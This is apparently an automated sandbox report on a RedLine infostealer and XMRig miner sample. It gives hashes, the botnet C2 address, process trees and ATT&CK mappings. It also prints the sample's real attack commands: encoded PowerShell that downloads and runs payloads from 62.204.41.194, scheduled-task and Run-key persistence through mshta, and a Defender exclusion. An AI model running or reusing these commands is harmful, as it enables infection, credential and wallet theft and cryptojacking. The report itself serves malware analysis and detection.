redline | 56275650856a05ae50a775dd760aeccb0cd67b4ab8c039c6a9ffafd4f09c8e5a

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
04-01-2023 22:10

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General

Target

file.exe
Size

35KB
MD5

e3d93c32eb9f34e27c6a74e3629b2a33
SHA1

d1ebf1a8da77cdc3da3b9740a43fc4f131ca7626
SHA256

56275650856a05ae50a775dd760aeccb0cd67b4ab8c039c6a9ffafd4f09c8e5a
SHA512

fd915278077be3fea0d35ef8489974673a479751720c1eabf8275318ec18003fabc2cccf7f13c4436d302ad12986b8d6a71ec58ae1bbad01811209412c65ef5b
SSDEEP

768:e+Sr8sRCa1cdjsZlczry4r/wOPpdwMNhghy0qt:e+0lRCa1cO7cy4kmTghy0w

Score

10^/10

redline xmrig $infostealer miner persistence spyware

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.194/go.png

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://62.204.41.194/F1.exe

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.194/me.png

Extracted

Family

redline

Botnet

31.41.244.135:19850

Attributes

auth_value
66623f79e2af33286760f5dd6c4262dc

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/4956-179-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/4956-180-0x000000014036EAC4-mapping.dmp	xmrig
behavioral2/memory/4956-181-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/4956-183-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/4956-185-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/4956-193-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

4 1500 powershell.exe
5 3608 powershell.exe
6 2256 powershell.exe
8 2256 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

NoSleep.exeOneDrive.exe

pid process

2164 NoSleep.exe
4120 OneDrive.exe
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

flow	pid	process
4	1500	powershell.exe
5	3608	powershell.exe
6	2256	powershell.exe
8	2256	powershell.exe

pid	process
2164	NoSleep.exe
4120	OneDrive.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta http://62.204.41.194/c.html"	powershell.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

7 ipinfo.io

flow	ioc
7	ipinfo.io

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.execonhost.exe

description	pid	process	target process
PID 3608 set thread context of 4372	3608	powershell.exe	RegSvcs.exe
PID 3220 set thread context of 4956	3220	conhost.exe	conhost.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

5040 schtasks.exe

pid	process
5040	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.execonhost.exepowershell.execonhost.execonhost.exeRegSvcs.exe

pid	process
1500	powershell.exe
2256	powershell.exe
3608	powershell.exe
400	powershell.exe
400	powershell.exe
1500	powershell.exe
2256	powershell.exe
3608	powershell.exe
5028	conhost.exe
3880	powershell.exe
3880	powershell.exe
3220	conhost.exe
4956	conhost.exe
4956	conhost.exe
4372	RegSvcs.exe
4372	RegSvcs.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

660

pid	process
660

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.execonhost.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	3608	powershell.exe
Token: SeDebugPrivilege	400	powershell.exe
Token: SeDebugPrivilege	5028	conhost.exe
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeIncreaseQuotaPrivilege	3880	powershell.exe
Token: SeSecurityPrivilege	3880	powershell.exe
Token: SeTakeOwnershipPrivilege	3880	powershell.exe
Token: SeLoadDriverPrivilege	3880	powershell.exe
Token: SeSystemProfilePrivilege	3880	powershell.exe
Token: SeSystemtimePrivilege	3880	powershell.exe
Token: SeProfSingleProcessPrivilege	3880	powershell.exe
Token: SeIncBasePriorityPrivilege	3880	powershell.exe
Token: SeCreatePagefilePrivilege	3880	powershell.exe
Token: SeBackupPrivilege	3880	powershell.exe
Token: SeRestorePrivilege	3880	powershell.exe
Token: SeShutdownPrivilege	3880	powershell.exe
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeSystemEnvironmentPrivilege	3880	powershell.exe
Token: SeRemoteShutdownPrivilege	3880	powershell.exe
Token: SeUndockPrivilege	3880	powershell.exe
Token: SeManageVolumePrivilege	3880	powershell.exe
Token: 33	3880	powershell.exe
Token: 34	3880	powershell.exe
Token: 35	3880	powershell.exe
Token: 36	3880	powershell.exe
Token: SeIncreaseQuotaPrivilege	3880	powershell.exe
Token: SeSecurityPrivilege	3880	powershell.exe
Token: SeTakeOwnershipPrivilege	3880	powershell.exe
Token: SeLoadDriverPrivilege	3880	powershell.exe
Token: SeSystemProfilePrivilege	3880	powershell.exe
Token: SeSystemtimePrivilege	3880	powershell.exe
Token: SeProfSingleProcessPrivilege	3880	powershell.exe
Token: SeIncBasePriorityPrivilege	3880	powershell.exe
Token: SeCreatePagefilePrivilege	3880	powershell.exe
Token: SeBackupPrivilege	3880	powershell.exe
Token: SeRestorePrivilege	3880	powershell.exe
Token: SeShutdownPrivilege	3880	powershell.exe
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeSystemEnvironmentPrivilege	3880	powershell.exe
Token: SeRemoteShutdownPrivilege	3880	powershell.exe
Token: SeUndockPrivilege	3880	powershell.exe
Token: SeManageVolumePrivilege	3880	powershell.exe
Token: 33	3880	powershell.exe
Token: 34	3880	powershell.exe
Token: 35	3880	powershell.exe
Token: 36	3880	powershell.exe
Token: SeIncreaseQuotaPrivilege	3880	powershell.exe
Token: SeSecurityPrivilege	3880	powershell.exe
Token: SeTakeOwnershipPrivilege	3880	powershell.exe
Token: SeLoadDriverPrivilege	3880	powershell.exe
Token: SeSystemProfilePrivilege	3880	powershell.exe
Token: SeSystemtimePrivilege	3880	powershell.exe
Token: SeProfSingleProcessPrivilege	3880	powershell.exe
Token: SeIncBasePriorityPrivilege	3880	powershell.exe
Token: SeCreatePagefilePrivilege	3880	powershell.exe
Token: SeBackupPrivilege	3880	powershell.exe
Token: SeRestorePrivilege	3880	powershell.exe
Token: SeShutdownPrivilege	3880	powershell.exe
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeSystemEnvironmentPrivilege	3880	powershell.exe
Token: SeRemoteShutdownPrivilege	3880	powershell.exe
Token: SeUndockPrivilege	3880	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

conhost.exe

pid	process
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

conhost.exe

pid	process
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe
4956	conhost.exe

Suspicious use of WriteProcessMemory 46 IoCs

Processes:

file.exepowershell.exepowershell.exeNoSleep.execonhost.exepowershell.exeOneDrive.execonhost.exe

description	pid	process	target process
PID 3700 wrote to memory of 2256	3700	file.exe	powershell.exe
PID 3700 wrote to memory of 2256	3700	file.exe	powershell.exe
PID 3700 wrote to memory of 1500	3700	file.exe	powershell.exe
PID 3700 wrote to memory of 1500	3700	file.exe	powershell.exe
PID 3700 wrote to memory of 3608	3700	file.exe	powershell.exe
PID 3700 wrote to memory of 3608	3700	file.exe	powershell.exe
PID 3700 wrote to memory of 400	3700	file.exe	powershell.exe
PID 3700 wrote to memory of 400	3700	file.exe	powershell.exe
PID 2256 wrote to memory of 5040	2256	powershell.exe	schtasks.exe
PID 2256 wrote to memory of 5040	2256	powershell.exe	schtasks.exe
PID 1500 wrote to memory of 2164	1500	powershell.exe	NoSleep.exe
PID 1500 wrote to memory of 2164	1500	powershell.exe	NoSleep.exe
PID 2164 wrote to memory of 5028	2164	NoSleep.exe	conhost.exe
PID 2164 wrote to memory of 5028	2164	NoSleep.exe	conhost.exe
PID 2164 wrote to memory of 5028	2164	NoSleep.exe	conhost.exe
PID 5028 wrote to memory of 3880	5028	conhost.exe	powershell.exe
PID 5028 wrote to memory of 3880	5028	conhost.exe	powershell.exe
PID 3608 wrote to memory of 4372	3608	powershell.exe	RegSvcs.exe
PID 3608 wrote to memory of 4372	3608	powershell.exe	RegSvcs.exe
PID 3608 wrote to memory of 4372	3608	powershell.exe	RegSvcs.exe
PID 4120 wrote to memory of 3220	4120	OneDrive.exe	conhost.exe
PID 4120 wrote to memory of 3220	4120	OneDrive.exe	conhost.exe
PID 4120 wrote to memory of 3220	4120	OneDrive.exe	conhost.exe
PID 3608 wrote to memory of 4372	3608	powershell.exe	RegSvcs.exe
PID 3608 wrote to memory of 4372	3608	powershell.exe	RegSvcs.exe
PID 3608 wrote to memory of 4372	3608	powershell.exe	RegSvcs.exe
PID 3608 wrote to memory of 4372	3608	powershell.exe	RegSvcs.exe
PID 3608 wrote to memory of 4372	3608	powershell.exe	RegSvcs.exe
PID 3220 wrote to memory of 4744	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4744	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4744	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe
PID 3220 wrote to memory of 4956	3220	conhost.exe	conhost.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBnAG8ALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2256

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "OneDrive Standalone Update Task - S - 1 - 5 - 21 - 3301851721 - 4018334294 - 377670162 - 1001" /sc ONLOGON /tr "mshta http://62.204.41.194/c.html " /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:5040

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAG8AUwBsAGUAZQBwAC4AZQB4AGUAIgANAAoAJABXAGUAYgBGAGkAbABlACAAPQAgACIAaAB0AHQAcAA6AC8ALwA2ADIALgAyADAANAAuADQAMQAuADEAOQA0AC8ARgAxAC4AZQB4AGUAIgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBlAGIARgBpAGwAZQAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1500

C:\Users\Admin\AppData\Roaming\NoSleep.exe
"C:\Users\Admin\AppData\Roaming\NoSleep.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2164

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAbABoAG4AIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE8AbgBlAEQAcgBpAHYAZQBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlACIAJwApACAAPAAjAG0AeAAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuACkAIAA8ACMAbQB0AHUAdAAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdwAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAAIAAtAFIAdQBuAEwAZQB2AGUAbAAgACcASABpAGcAaABlAHMAdAAnACAALQBGAG8AcgBjAGUAIAA8ACMAbgB3AHEAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABOAG8AUwBsAGUAZQBwAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE8AbgBlAEQAcgBpAHYAZQBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgADwAIwBlAHEAcwAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAdwBmAGkAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3880

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQAnAA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:400

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBtAGUALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3608

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4372

C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4120

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3220

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe "cvxjxkjice"
3⤵
PID:4744

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe pjsnsurpv0 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZebSGUfj6Vuv+kPoPZ9FoidkTm/7TRz3Cxu5/LqhuwWCS2hvmHfyPTAWIo4zY5OcwjP+79VuJh5O5c9vMH8WB3WKocLPQQ3D/631f214VrDNh9z0jOLbJJ9YXALTSKeo3z0yqpo23wDcDd1T/hDfuDceoldVJQGMTDTCXN0Q0os5qQZpM/bbi7sbKmKkdCHj6mFIu02fq5LlHaQLCNyvHRzVgK320/ko7oR3JyhnmBQHtbZUpiFNPFJEf7lTC77qWxEJ3h4yjiCPgrTI6MoBbSgjAmpPlQgNd71RJ7lG0ikmSTeoT3CddgZH5TjpSuHbPN3ha82GVaI5+j+dJzAfNAaJfxYNDrhTxng1MpRAutdkSftro/iAbX8hcx7q/b7Qg7J3CyclBC4/Mwe/Jeo6Q9AKf6F7/3Yi99ifKM20LuEsFK/pU/n4DnNACnryf3RdME
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4956

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
Filesize
642B

MD5
0b4ce74a6163ae20974c8ba4fdd4f1fa

SHA1
3c645b8b4d9bd437e7f1f74c21304452245dba1c

SHA256
2267541e715084f5cda2c56fe4186d937b73a3bb8e31a5e87cdc351ab558d4e7

SHA512
d3dd26b2817f22f38acebe03f6487d01421dea27717ac352a03b1b4bfec990d80796458cf608aa25e932bb91cfeedd25d6ced51cf3e554fdc3a1164bc3e5805c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
eb4d127b8a6f84a1cee423c5e3e3a51d

SHA1
c55263a8ff097067f2393ce2120801a445fd1949

SHA256
d73b077e2ae7f7608ebf774fb83ab13c7bc7a5c3e4d9d96fda2bf695dc698514

SHA512
45a52004f8b63ac089de017437ba0e03335f18469942795d36ce3c3d017f842e582103c91e07d9af0fa8dfbbe6f2f68f2fac91383a48b6535952a8630911f21e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
eb4d127b8a6f84a1cee423c5e3e3a51d

SHA1
c55263a8ff097067f2393ce2120801a445fd1949

SHA256
d73b077e2ae7f7608ebf774fb83ab13c7bc7a5c3e4d9d96fda2bf695dc698514

SHA512
45a52004f8b63ac089de017437ba0e03335f18469942795d36ce3c3d017f842e582103c91e07d9af0fa8dfbbe6f2f68f2fac91383a48b6535952a8630911f21e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
f1549cc7b079aafe5a84d4589e478849

SHA1
7b075f7b88d8a2c5d9cd27090a514d60de5bbd4d

SHA256
6adfd6fd5b210f2cbf2ca9f3a89a27c937fba828a9c00888c1c3f86c6c4b38d5

SHA512
7ff46d7a36ebb1607f923d151e5ae3e17559bc18f5f621be0bbb16365ddcdb255794fe47cfb354cf0f58f6763bc628c1c98df7933f927e20d93dbc2c5519fc20

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
